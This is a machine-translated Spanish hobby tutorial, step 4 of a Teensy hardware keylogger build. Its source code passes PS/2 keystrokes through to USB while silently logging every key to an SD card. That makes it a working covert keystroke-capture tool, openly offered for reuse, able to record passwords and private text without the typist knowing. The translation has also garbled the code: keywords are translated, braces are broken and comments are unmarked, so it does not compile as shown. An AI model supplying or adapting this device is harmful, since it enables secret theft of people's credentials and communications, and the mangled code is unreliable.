Teensy registrador de Hardware clave (4 / 5 paso)

Paso 4: El código

Bien así que este es el código a continuación no dude en usarlo, jugar con él, etc.. Utiliza la biblioteca PS2Keyboard para interfaz con el teclado, luego usa biblioteca de dispositivos HID de Teensy prácticamente sólo convertir ps2 claves a llaves usb. Luego utilicé la biblioteca SDFat para escribir las claves en la sdcard.

#include < SdFat.h >
#include < PS2Keyboard.h >

const int chipSelect = 0;

const int DataPin = 9;
const int IRQpin = 8;

Keylog de cadena = "";

PS2Keyboard teclado;

SdFat sd;
SdFile myFile;

void setup() {}
SD.init (SPI_HALF_SPEED, chipSelect);
Keyboard.Begin (DataPin, IRQpin);
}

void loop() {}
Si (keyboard.available()) {}
myFile.open ("test.txt", O_RDWR | O_CREAT | O_AT_END);

leer la siguiente clave
char c = keyboard.read();

Revise algunas de las claves especiales
Si (c == PS2_ENTER) {}
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
KeyLog += "[ENTER]";
myFile.println(keylog);
myFile.close();
KeyLog = "";
} else if (c == PS2_TAB) {}
Keyboard.set_key1(KEY_TAB);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[TAB]");
myFile.close();
} else if (c == PS2_ESC) {}
Keyboard.set_key1(KEY_ESC);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[ESC]");
myFile.close();
} else if (c == PS2_PAGEDOWN) {}
Keyboard.set_key1(KEY_PAGE_DOWN);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[PAGEDOWN]");
myFile.close();
} else if (c == PS2_PAGEUP) {}
Keyboard.set_key1(KEY_PAGE_UP);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[PAGEUP]");
myFile.close();
} else if (c == PS2_LEFTARROW) {}
Keyboard.set_key1(KEY_LEFT);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[LEFTARROW]");
myFile.close();
} else if (c == PS2_RIGHTARROW) {}
Keyboard.set_key1(KEY_RIGHT);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[RIGHTARROW]");
myFile.close();
} else if (c == PS2_UPARROW) {}
Keyboard.set_key1(KEY_UP);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[UPARROW]");
myFile.close();
} else if (c == PS2_DOWNARROW) {}
Keyboard.set_key1(KEY_DOWN);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[DOWNARROW]");
myFile.close();
} else if (c == PS2_HOME) {}
Keyboard.set_key1(KEY_HOME);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[HOME]");
myFile.close();
} else if (c == PS2_SCROLL) {}
Keyboard.set_key1(KEY_SCROLL_LOCK);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[SCROLL]");
myFile.close();
} else if (c == PS2_BACKSPACE) {}
Keyboard.set_key1(KEY_BACKSPACE);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[BACKSPACE]");
myFile.close();
} else if (c == PS2_DELETE) {}
Keyboard.set_key1(KEY_DELETE);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[DELETE]");
myFile.close();
} else {}

de lo contrario, sólo imprimir todos los caracteres normales
Keyboard.Print(c);
KeyLog += c;
}
}
}
